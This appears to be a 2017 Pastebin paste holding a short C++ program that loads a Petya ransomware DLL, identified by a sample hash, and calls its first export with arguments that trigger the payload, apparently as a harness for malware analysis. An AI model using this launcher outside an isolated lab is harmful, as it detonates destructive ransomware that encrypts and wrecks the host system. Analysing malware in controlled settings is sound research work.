Advertisement
Guest User

Untitled

a guest
Jun 27th, 2017
464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <iostream>
  3.  
  4. // Petya sample hash: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745
  5.  
  6. typedef void(__cdecl *PETYAEXPORT)(LPCWSTR, DWORD, DWORD, DWORD);
  7.  
  8. int main() {
  9. HMODULE hmodule = LoadLibraryA("petya.dll");
  10.  
  11. if (!hmodule) {
  12. printf("Failed to load petya DLL.\n");
  13. return FALSE;
  14. }
  15.  
  16. PETYAEXPORT petya_func = (PETYAEXPORT)GetProcAddress(hmodule, (LPCSTR)1);
  17.  
  18. if (!petya_func) {
  19. printf("Failed to get address of export.\n");
  20. return FALSE;
  21. }
  22.  
  23. (*petya_func)(L"-h", 0, 0, -1);
  24.  
  25. printf("Succesfully called petya export.\n");
  26.  
  27. system("pause");
  28.  
  29. return TRUE;
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement